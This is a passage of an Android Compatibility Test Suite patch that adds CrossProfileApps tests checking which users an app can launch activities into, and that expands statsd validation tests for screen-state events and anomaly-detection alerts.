+import static junit.framework.Assert.assertNotNull;
+
+import android.content.Context;
+import android.content.pm.crossprofile.CrossProfileApps;
+import android.os.Bundle;
+import android.os.UserHandle;
+import android.os.UserManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+/**
+ * Test that runs {@link CrossProfileApps} APIs against non-valid target user.
+ */
+@RunWith(AndroidJUnit4.class)
+public class CrossProfileAppsNonTargetUserTest {
+ private static final String PARAM_TARGET_USER = "TARGET_USER";
+
+ private CrossProfileApps mCrossProfileApps;
+ private UserHandle mTargetUser;
+ private Context mContext;
+
+ @Before
+ public void setupCrossProfileApps() throws Exception {
+ mContext = InstrumentationRegistry.getContext();
+ mCrossProfileApps = mContext.getSystemService(CrossProfileApps.class);
+ }
+
+ @Before
+ public void readTargetUser() {
+ Context context = InstrumentationRegistry.getContext();
+ Bundle arguments = InstrumentationRegistry.getArguments();
+ UserManager userManager = context.getSystemService(UserManager.class);
+ final int userSn = Integer.parseInt(arguments.getString(PARAM_TARGET_USER));
+ mTargetUser = userManager.getUserForSerialNumber(userSn);
+ }
+
+ @Test
+ public void testTargetUserIsNotInGetTargetProfiles() {
+ List<UserHandle> targetProfiles = mCrossProfileApps.getTargetUserProfiles();
+ assertThat(targetProfiles).doesNotContain(mTargetUser);
+ }
+
+ @Test(expected = SecurityException.class)
+ public void testCannotStartActivity() {
+ mCrossProfileApps.startMainActivity(
+ MainActivity.getComponentName(mContext), mTargetUser, null, null);
+ }
+}
+
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsTargetUserTest.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsTargetUserTest.java
new file mode 100644
index 0000000..5c4e4c9
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsTargetUserTest.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.crossprofileappstest;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.assertNotNull;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.Context;
+import android.content.pm.crossprofile.CrossProfileApps;
+import android.os.Bundle;
+import android.os.UserHandle;
+import android.os.UserManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test that runs {@link CrossProfileApps} APIs against valid target user.
+ */
+@RunWith(AndroidJUnit4.class)
+public class CrossProfileAppsTargetUserTest {
+ private static final String PARAM_TARGET_USER = "TARGET_USER";
+ private static final String ID_USER_TEXTVIEW =
+ "com.android.cts.crossprofileappstest:id/user_textview";
+ private static final long TIMEOUT_WAIT_UI = TimeUnit.SECONDS.toMillis(10);
+
+ private CrossProfileApps mCrossProfileApps;
+ private UserHandle mTargetUser;
+ private Context mContext;
+ private UiDevice mDevice;
+ private long mUserSerialNumber;
+
+ @Before
+ public void setupCrossProfileApps() {
+ mContext = InstrumentationRegistry.getContext();
+ mCrossProfileApps = mContext.getSystemService(CrossProfileApps.class);
+ }
+
+ @Before
+ public void wakeupDeviceAndPressHome() throws Exception {
+ mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ mDevice.wakeUp();
+ mDevice.pressMenu();
+ mDevice.pressHome();
+ }
+
+ @Before
+ public void readTargetUser() {
+ Context context = InstrumentationRegistry.getContext();
+ Bundle arguments = InstrumentationRegistry.getArguments();
+ UserManager userManager = context.getSystemService(UserManager.class);
+ mUserSerialNumber = Long.parseLong(arguments.getString(PARAM_TARGET_USER));
+ mTargetUser = userManager.getUserForSerialNumber(mUserSerialNumber);
+ assertNotNull(mTargetUser);
+ }
+
+ @After
+ public void pressHome() {
+ mDevice.pressHome();
+ }
+
+ @Test
+ public void testTargetUserIsIngetTargetUserProfiles() {
+ List<UserHandle> targetProfiles = mCrossProfileApps.getTargetUserProfiles();
+ assertThat(targetProfiles).contains(mTargetUser);
+ }
+
+ /**
+ * Verify we succeed to start the activity in another profile by checking UI element.
+ */
+ @Test
+ public void testCanStartMainActivity() throws Exception {
+ mCrossProfileApps.startMainActivity(
+ MainActivity.getComponentName(mContext), mTargetUser, null, null);
+
+ // Look for the text view to verify that MainActivity is started.
+ UiObject2 textView = mDevice.wait(
+ Until.findObject(By.res(ID_USER_TEXTVIEW)),
+ TIMEOUT_WAIT_UI);
+ assertNotNull("Failed to start activity in target user", textView);
+ // Look for the text in textview, it should be the serial number of target user.
+ assertEquals("Activity is started in wrong user",
+ String.valueOf(mUserSerialNumber),
+ textView.getText());
+ }
+
+ @Test(expected = SecurityException.class)
+ public void testCannotStartNotExportedActivity() throws Exception {
+ mCrossProfileApps.startMainActivity(
+ NonExportedActivity.getComponentName(mContext), mTargetUser, null, null);
+ }
+
+ @Test(expected = SecurityException.class)
+ public void testCannotStartNonMainActivity() throws Exception {
+ mCrossProfileApps.startMainActivity(
+ NonExportedActivity.getComponentName(mContext), mTargetUser, null, null);
+ }
+}
+
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/MainActivity.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/MainActivity.java
new file mode 100644
index 0000000..c137e80
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/MainActivity.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.crossprofileappstest;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.UserManager;
+import android.util.Log;
+import android.widget.TextView;
+
+import java.lang.Override;
+
+/**
+ * An dummy activity that displays the serial number of the user that it is running into.
+ */
+public class MainActivity extends Activity {
+
+ @Override
+ public void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+ setContentView(R.layout.main);
+ }
+
+ @Override
+ public void onStart() {
+ super.onStart();
+ TextView textView = findViewById(R.id.user_textview);
+ textView.setText(Long.toString(getCurrentUserSerialNumber()));
+ }
+
+ public static ComponentName getComponentName(Context context) {
+ return new ComponentName(context, MainActivity.class);
+ }
+
+ private long getCurrentUserSerialNumber() {
+ UserManager userManager = getSystemService(UserManager.class);
+ return userManager.getSerialNumberForUser(Process.myUserHandle());
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonExportedActivity.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonExportedActivity.java
new file mode 100644
index 0000000..0876694
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonExportedActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.crossprofileappstest;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+
+public class NonExportedActivity extends Activity {
+
+ public static ComponentName getComponentName(Context context ){
+ return new ComponentName(context, NonExportedActivity.class);
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonMainActivity.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonMainActivity.java
new file mode 100644
index 0000000..56ec466
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonMainActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.crossprofileappstest;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+
+public class NonMainActivity extends Activity {
+
+ public static ComponentName getComponentName(Context context) {
+ return new ComponentName(context, NonMainActivity.class);
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceOwnerProvisioningTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceOwnerProvisioningTest.java
index 02ad00b..22401b3 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceOwnerProvisioningTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceOwnerProvisioningTest.java
@@ -44,7 +44,7 @@
mPackageManager = getContext().getPackageManager();
mDpm = getContext().getSystemService(DevicePolicyManager.class);
- mEnabledAppsBeforeTest = getPackageNameList();
+ mEnabledAppsBeforeTest = getSystemPackageNameList();
}
@Override
@@ -69,7 +69,7 @@
}
private void enableUninstalledApp() {
- final List<String> currentEnabledApps = getPackageNameList();
+ final List<String> currentEnabledApps = getSystemPackageNameList();
final List<String> disabledApps = new ArrayList<String>(mEnabledAppsBeforeTest);
disabledApps.removeAll(currentEnabledApps);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
new file mode 100644
index 0000000..b1cf3ff
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
@@ -0,0 +1,99 @@
+package com.android.cts.devicepolicy;
+
+import java.util.Collections;
+import java.util.Map;
+
+/**
+ * In the test, managed profile and secondary user are created. We then verify
+ * {@link android.content.pm.crossprofile.CrossProfileApps} APIs in different directions, like
+ * primary user to managed profile.
+ */
+public class CrossProfileAppsHostSideTest extends BaseDevicePolicyTest {
+ private static final String TEST_PACKAGE = "com.android.cts.crossprofileappstest";
+ private static final String NON_TARGET_USER_TEST_CLASS = ".CrossProfileAppsNonTargetUserTest";
+ private static final String TARGET_USER_TEST_CLASS = ".CrossProfileAppsTargetUserTest";
+ private static final String PARAM_TARGET_USER = "TARGET_USER";
+ private static final String EXTRA_TEST_APK = "CtsCrossProfileAppsTests.apk";
+
+ private int mProfileId;
+ private int mSecondaryUserId;
+ private boolean mHasManagedUserFeature;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ // We need managed users to be supported in order to create a profile of the user owner.
+ mHasManagedUserFeature = hasDeviceFeature("android.software.managed_users");
+ installAppAsUser(EXTRA_TEST_APK, mPrimaryUserId);
+
+ if (mHasManagedUserFeature) {
+ createAndStartManagedProfile();
+ installAppAsUser(EXTRA_TEST_APK, mProfileId);
+ }
+ if (mSupportsMultiUser) {
+ mSecondaryUserId = createUser();
+ installAppAsUser(EXTRA_TEST_APK, mSecondaryUserId);
+ }
+ }
+
+ public void testPrimaryUserToPrimaryUser() throws Exception {
+ verifyCrossProfileAppsApi(mPrimaryUserId, mPrimaryUserId, NON_TARGET_USER_TEST_CLASS);
+ }
+
+ public void testPrimaryUserToManagedProfile() throws Exception {
+ if (!mHasManagedUserFeature) {
+ return;
+ }
+ verifyCrossProfileAppsApi(mPrimaryUserId, mProfileId, TARGET_USER_TEST_CLASS);
+ }
+
+ public void testManagedProfileToPrimaryUser() throws Exception {
+ if (!mHasManagedUserFeature) {
+ return;
+ }
+ verifyCrossProfileAppsApi(mProfileId, mPrimaryUserId, TARGET_USER_TEST_CLASS);
+ }
+
+ public void testPrimaryUserToSecondaryUser() throws Exception {
+ if (!mSupportsMultiUser) {
+ return;
+ }
+ verifyCrossProfileAppsApi(mPrimaryUserId, mSecondaryUserId, NON_TARGET_USER_TEST_CLASS);
+ }
+
+ public void testSecondaryUserToManagedProfile() throws Exception {
+ if (!mSupportsMultiUser || !mHasManagedUserFeature) {
+ return;
+ }
+ verifyCrossProfileAppsApi(mSecondaryUserId, mProfileId, NON_TARGET_USER_TEST_CLASS);
+
+ }
+
+ public void testManagedProfileToSecondaryUser() throws Exception {
+ if (!mSupportsMultiUser || !mHasManagedUserFeature) {
+ return;
+ }
+ verifyCrossProfileAppsApi(mProfileId, mSecondaryUserId, NON_TARGET_USER_TEST_CLASS);
+ }
+
+ private void verifyCrossProfileAppsApi(int fromUserId, int targetUserId, String testClass)
+ throws Exception {
+ runDeviceTestsAsUser(
+ TEST_PACKAGE,
+ testClass,
+ null,
+ fromUserId,
+ createTargetUserParam(targetUserId));
+ }
+
+ private void createAndStartManagedProfile() throws Exception {
+ mProfileId = createManagedProfile(mPrimaryUserId);
+ switchUser(mPrimaryUserId);
+ startUser(mProfileId);
+ }
+
+ private Map<String, String> createTargetUserParam(int targetUserId) throws Exception {
+ return Collections.singletonMap(PARAM_TARGET_USER,
+ Integer.toString(getUserSerialNumber(targetUserId)));
+ }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/crossprofile/CrossProfileAppsManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/crossprofile/CrossProfileAppsManagedProfileTest.java
new file mode 100644
index 0000000..cf02aef
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/crossprofile/CrossProfileAppsManagedProfileTest.java
@@ -0,0 +1,8 @@
+//package com.android.cts.devicepolicy.crossprofile;
+//
+//import com.android.cts.devicepolicy.BaseDevicePolicyTest;
+//
+//public class CrossProfileAppsManagedProfileTest extends BaseDevicePolicyTest {
+//
+//
+//}
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
index 3566724..28000e0 100644
--- a/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
@@ -39,9 +39,9 @@
}
assertTrue(dump.getPlugged() != BatteryManagerProto.PlugType.PLUG_TYPE_WIRELESS);
- assertTrue(dump.getMaxChargingCurrent() > 0);
- assertTrue(dump.getMaxChargingVoltage() > 0);
- assertTrue(dump.getChargeCounter() > 0);
+ assertTrue(dump.getMaxChargingCurrent() >= 0);
+ assertTrue(dump.getMaxChargingVoltage() >= 0);
+ assertTrue(dump.getChargeCounter() >= 0);
assertTrue(
dump.getStatus() != BatteryServiceDumpProto.BatteryStatus.BATTERY_STATUS_INVALID);
assertTrue(
diff --git a/hostsidetests/incident/src/com/android/server/cts/StatsdValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/StatsdValidationTest.java
index c00c4c3..1745ea1 100644
--- a/hostsidetests/incident/src/com/android/server/cts/StatsdValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/StatsdValidationTest.java
@@ -19,81 +19,367 @@
import com.android.tradefed.log.LogUtil;
import com.google.common.base.Charsets;
+import com.google.common.io.Files;
+import java.io.File;
+import java.text.SimpleDateFormat;
+import java.util.Date;
import java.util.Random;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicBoolean;
+import com.android.os.StatsLog.ConfigMetricsReport;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.internal.os.StatsdConfigProto.Alert;
+import com.android.internal.os.StatsdConfigProto.Bucket;
+import com.android.internal.os.StatsdConfigProto.CountMetric;
+import com.android.internal.os.StatsdConfigProto.Condition;
+import com.android.internal.os.StatsdConfigProto.DurationMetric;
+import com.android.internal.os.StatsdConfigProto.EventMetric;
+import com.android.internal.os.StatsdConfigProto.GaugeMetric;
+import com.android.internal.os.StatsdConfigProto.KeyMatcher;
+import com.android.internal.os.StatsdConfigProto.KeyValueMatcher;
+import com.android.internal.os.StatsdConfigProto.AtomMatcher;
+import com.android.internal.os.StatsdConfigProto.SimpleCondition;
+import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto.Atom;
+import com.android.os.AtomsProto.ScreenStateChanged;
+import com.android.os.StatsLog.ConfigMetricsReport;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+
/**
* Test for statsd
*
* Validates reporting of statsd logging based on different events
*/
public class StatsdValidationTest extends ProtoDumpTestCase {
+
private static final String TAG = "StatsdValidationTest";
+ private static final boolean TESTS_ENABLED = false;
+
// TODO: Use a statsd-specific app (temporarily just borrowing the batterystats app)
- private static final String DEVICE_SIDE_TEST_APK = "CtsBatteryStatsApp.apk";
+ private static final String DEVICE_SIDE_TEST_APK = "CtsStatsDApp.apk";
private static final String DEVICE_SIDE_TEST_PACKAGE
- = "com.android.server.cts.device.batterystats";
- private static final String DEVICE_SIDE_BG_SERVICE_COMPONENT
- = "com.android.server.cts.device.batterystats/.BatteryStatsBackgroundService";
+ = "com.android.server.cts.device.statsd";
+ private static final String DEVICE_SIDE_SIMPLE_ACTIVITY_COMPONENT
+ = "com.android.server.cts.device.statsd/.SimpleActivity";
private static final String DEVICE_SIDE_FG_ACTIVITY_COMPONENT
- = "com.android.server.cts.device.batterystats/.BatteryStatsForegroundActivity";
+ = "com.android.server.cts.device.statsd/.ForegroundActivity";
+ private static final String DEVICE_SIDE_BG_SERVICE_COMPONENT
+ = "com.android.server.cts.device.statsd/.BackgroundActivity";
// These constants are those in PackageManager.
- public static final String FEATURE_BLUETOOTH_LE = "android.hardware.bluetooth_le";
- public static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
- public static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
- public static final String FEATURE_WIFI = "android.hardware.wifi";
+ private static final String FEATURE_BLUETOOTH_LE = "android.hardware.bluetooth_le";
+ private static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
+ private static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
+ private static final String FEATURE_WIFI = "android.hardware.wifi";
// Constants from BatteryStatsBgVsFgActions.java (not directly accessible here).
- public static final String KEY_ACTION = "action";
- public static final String ACTION_BLE_SCAN_OPTIMIZED = "action.ble_scan_optimized";
- public static final String ACTION_BLE_SCAN_UNOPTIMIZED = "action.ble_scan_unoptimized";
- public static final String ACTION_GPS = "action.gps";
- public static final String ACTION_JOB_SCHEDULE = "action.jobs";
- public static final String ACTION_SYNC = "action.sync";
- public static final String ACTION_WIFI_SCAN = "action.wifi_scan";
+ private static final String KEY_ACTION = "action";
+ private static final String ACTION_BLE_SCAN_OPTIMIZED = "action.ble_scan_optimized";
+ private static final String ACTION_BLE_SCAN_UNOPTIMIZED = "action.ble_scan_unoptimized";
+ private static final String ACTION_GPS = "action.gps";
+ private static final String ACTION_JOB_SCHEDULE = "action.jobs";
+ private static final String ACTION_SYNC = "action.sync";
+ private static final String ACTION_WIFI_SCAN = "action.wifi_scan";
- public static final String KEY_REQUEST_CODE = "request_code";
- public static final String BG_VS_FG_TAG = "BatteryStatsBgVsFgActions";
+ private static final String KEY_REQUEST_CODE = "request_code";
+ private static final String BG_VS_FG_TAG = "BatteryStatsBgVsFgActions";
+
+ private static final String UPDATE_CONFIG_CMD = "cmd stats config update";
+ private static final String DUMP_REPORT_CMD = "cmd stats dump-report";
+ private static final String REMOVE_CONFIG_CMD = "cmd stats config remove";
+ private static final String CONFIG_UID = "1000";
+ private static final String CONFIG_NAME = "cts_config";
@Override
protected void setUp() throws Exception {
super.setUp();
+ // TODO: need to do these before running real test:
+ // 1. compile statsd and push to device
+ // 2. make sure StatsCompanionService is running
+ // 3. start statsd
+ // These should go away once we have statsd properly set up.
+
// Uninstall to clear the history in case it's still on the device.
getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+ removeConfig("fake");
+ removeConfig(CONFIG_NAME);
}
@Override
protected void tearDown() throws Exception {
getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+ removeConfig(CONFIG_NAME);
super.tearDown();
}
- protected void testScreenOn() throws Exception {
+ public void testScreenOnAtom() throws Exception {
+ if (!TESTS_ENABLED) {return;}
+ StatsdConfig config = getDefaultConfig()
+ .addEventMetric(
+ EventMetric.newBuilder().setName("METRIC").setWhat("SCREEN_TURNED_ON"))
+ .build();
+ uploadConfig(config);
+
+ turnScreenOff();
+ Thread.sleep(2000);
+ turnScreenOn();
+ Thread.sleep(2000);
+
+ ConfigMetricsReportList reportList = getReportList();
+
+ assertTrue(reportList.getReportsCount() == 1);
+ ConfigMetricsReport report = reportList.getReports(0);
+ assertTrue(report.getMetricsCount() == 1);
+ assertTrue(report.getMetrics(0).getEventMetrics().getDataCount() == 1);
+ assertTrue(report.getMetrics(0).getEventMetrics().getData(
+ 0).getAtom().getScreenStateChanged()
+ .getDisplayState().getNumber() ==
+ ScreenStateChanged.State.STATE_ON_VALUE);
+ }
+
+ public void testScreenOffAtom() throws Exception {
+ if (!TESTS_ENABLED) {return;}
+ StatsdConfig config = getDefaultConfig()
+ .addEventMetric(
+ EventMetric.newBuilder().setName("METRIC").setWhat("SCREEN_TURNED_OFF"))
+ .build();
+ uploadConfig(config);
+
+ turnScreenOn();
+ Thread.sleep(2000);
+ turnScreenOff();
+ Thread.sleep(2000);
+
+ ConfigMetricsReportList reportList = getReportList();
+
+ assertTrue(reportList.getReportsCount() == 1);
+ ConfigMetricsReport report = reportList.getReports(0);
+ assertTrue(report.getMetricsCount() == 1);
+ // one of them can be DOZE
+ assertTrue(report.getMetrics(0).getEventMetrics().getDataCount() >= 1);
+ assertTrue(report.getMetrics(0).getEventMetrics().getData(
+ 0).getAtom().getScreenStateChanged()
+ .getDisplayState().getNumber() == ScreenStateChanged.State.STATE_OFF_VALUE ||
+ report.getMetrics(0).getEventMetrics().getData(0).getAtom().getScreenStateChanged()
+ .getDisplayState().getNumber()
+ == ScreenStateChanged.State.STATE_DOZE_VALUE);
+ }
+
+ // Tests that anomaly detection for count works.
+ // Also tests that anomaly detection works when spanning multiple buckets.
+ public void testCountAnomalyDetection() throws Exception {
+ if (!TESTS_ENABLED) return;
+ // TODO: Don't use screen-state as the atom.
+ StatsdConfig config = getDefaultConfig()
+ .addCountMetric(CountMetric.newBuilder()
+ .setName("METRIC")
+ .setWhat("SCREEN_TURNED_ON")
+ .setBucket(Bucket.newBuilder().setBucketSizeMillis(5_000))
+ )
+ .addAlert(Alert.newBuilder()
+ .setName("testCountAnomalyDetectionAlert")
+ .setMetricName("METRIC")
+ .setNumberOfBuckets(4)
+ .setRefractoryPeriodSecs(20)
+ .setTriggerIfSumGt(2)
+ .setIncidentdDetails(Alert.IncidentdDetails.newBuilder()
+ .addSection(-1)
+ )
+ )
+ .build();
+ uploadConfig(config);
+
+ String markDeviceDate = getCurrentLogcatDate();
+ turnScreenOn(); // count -> 1 (not an anomaly, since not "greater than 2")
+ Thread.sleep(1000);
+ turnScreenOff();
+ Thread.sleep(3000);
+ assertFalse(didIncidentdFireSince(markDeviceDate));
+
+ turnScreenOn(); // count ->2 (not an anomaly, since not "greater than 2")
+ Thread.sleep(1000);
+ turnScreenOff();
+ Thread.sleep(1000);
+ assertFalse(didIncidentdFireSince(markDeviceDate));
+
+ turnScreenOn(); // count ->3 (anomaly, since "greater than 2"!)
+ Thread.sleep(1000);
+ assertTrue(didIncidentdFireSince(markDeviceDate));
+
+ turnScreenOff();
+ }
+
+ // Tests that anomaly detection for duration works.
+ // Also tests that refractory periods in anomaly detection work.
+ public void testDurationAnomalyDetection() throws Exception {
+ if (!TESTS_ENABLED) return;
+ // TODO: Do NOT use screenState for this, since screens auto-turn-off after a variable time.
+ StatsdConfig config = getDefaultConfig()
+ .addDurationMetric(DurationMetric.newBuilder()
+ .setName("METRIC")
+ .setWhat("SCREEN_IS_ON")
+ .setAggregationType(DurationMetric.AggregationType.SUM)
+ .setBucket(Bucket.newBuilder().setBucketSizeMillis(5_000))
+ )
+ .addCondition(Condition.newBuilder()
+ .setName("SCREEN_IS_ON")
+ .setSimpleCondition(SimpleCondition.newBuilder()
+ .setStart("SCREEN_TURNED_ON")
+ .setStop("SCREEN_TURNED_OFF")
+ .setCountNesting(false)
+ )
+ )
+ .addAlert(Alert.newBuilder()
+ .setName("testDurationAnomalyDetectionAlert")
+ .setMetricName("METRIC")
+ .setNumberOfBuckets(12)
+ .setRefractoryPeriodSecs(20)
+ .setTriggerIfSumGt(15_000_000_000L) // 15 seconds in nanoseconds
+ .setIncidentdDetails(Alert.IncidentdDetails.newBuilder()
+ .addSection(-1)
+ )
+ )
+ .build();
+ uploadConfig(config);
+
+ // Test that alarm doesn't fire early.
+ String markDeviceDate = getCurrentLogcatDate();
+ turnScreenOn();
+ Thread.sleep(6_000);
+ assertFalse(didIncidentdFireSince(markDeviceDate));
+
+ turnScreenOff();
+ Thread.sleep(1_000);
+ assertFalse(didIncidentdFireSince(markDeviceDate));
+
+ // Test that alarm does fire when it is supposed to.
+ turnScreenOn();
+ Thread.sleep(13_000);
+ assertTrue(didIncidentdFireSince(markDeviceDate));
+
+ // Now test that the refractory period is obeyed.
+ markDeviceDate = getCurrentLogcatDate();
+ turnScreenOff();
+ Thread.sleep(1_000);
+ turnScreenOn();
+ Thread.sleep(1_000);
+ assertFalse(didIncidentdFireSince(markDeviceDate));
+
+ // Test that detection works again after refractory period finishes.
+ turnScreenOff();
+ Thread.sleep(20_000);
+ turnScreenOn();
+ Thread.sleep(15_000);
+ assertTrue(didIncidentdFireSince(markDeviceDate));
+ }
+
+ /**
+ * Determines whether logcat indicates that incidentd fired since the given device date.
+ */
+ private boolean didIncidentdFireSince(String date) throws Exception {
+ final String INCIDENTD_TAG = "incidentd";
+ final String INCIDENTD_STARTED_STRING = "reportIncident";
+ // TODO: Do something more robust than this in case of delayed logging.
+ Thread.sleep(1000);
+ String log = getLogcatSince(date, String.format(
+ "-s %s -e %s", INCIDENTD_TAG, INCIDENTD_STARTED_STRING));
+ return log.contains(INCIDENTD_STARTED_STRING);
+ }
+
+ private void uploadConfig(StatsdConfig config) throws Exception {
+ LogUtil.CLog.d("uploading the config:\n" + config.toString());
+ File configFile = File.createTempFile("statsdconfig", ".config");
+ Files.write(config.toByteArray(), configFile);
+ String remotePath = "/data/" + configFile.getName();
+ getDevice().pushFile(configFile, remotePath);
+ getDevice().executeShellCommand(
+ String.join(" ", "cat", remotePath, "|", UPDATE_CONFIG_CMD, CONFIG_UID,
+ CONFIG_NAME));
+ getDevice().executeShellCommand("rm " + remotePath);
+ }
+
+ /**
+ * Get default config builder for atoms CTS testing.
+ * All matchers are included. One just need to add event metric for pushed events or
+ * gauge metric for pulled metric.
+ */
+ private StatsdConfig.Builder getDefaultConfig() {
+ StatsdConfig.Builder configBuilder = StatsdConfig.newBuilder();
+ configBuilder.setName("12345");
+ configBuilder.addAtomMatcher(
+ AtomMatcher.newBuilder()
+ .setName("SCREEN_TURNED_ON")
+ .setSimpleAtomMatcher(
+ SimpleAtomMatcher.newBuilder()
+ .setTag(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
+ .addKeyValueMatcher(KeyValueMatcher.newBuilder()
+ .setKeyMatcher(
+ KeyMatcher.newBuilder()
+ .setKey(ScreenStateChanged
+ .DISPLAY_STATE_FIELD_NUMBER)
+ ).setEqInt(
+ ScreenStateChanged.State.STATE_ON_VALUE))));
+ configBuilder.addAtomMatcher(
+ AtomMatcher.newBuilder()
+ .setName("SCREEN_TURNED_OFF")
+ .setSimpleAtomMatcher(
+ SimpleAtomMatcher.newBuilder()
+ .setTag(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
+ .addKeyValueMatcher(KeyValueMatcher.newBuilder()
+ .setKeyMatcher(
+ KeyMatcher.newBuilder()
+ .setKey(ScreenStateChanged
+ .DISPLAY_STATE_FIELD_NUMBER)
+ ).setEqInt(
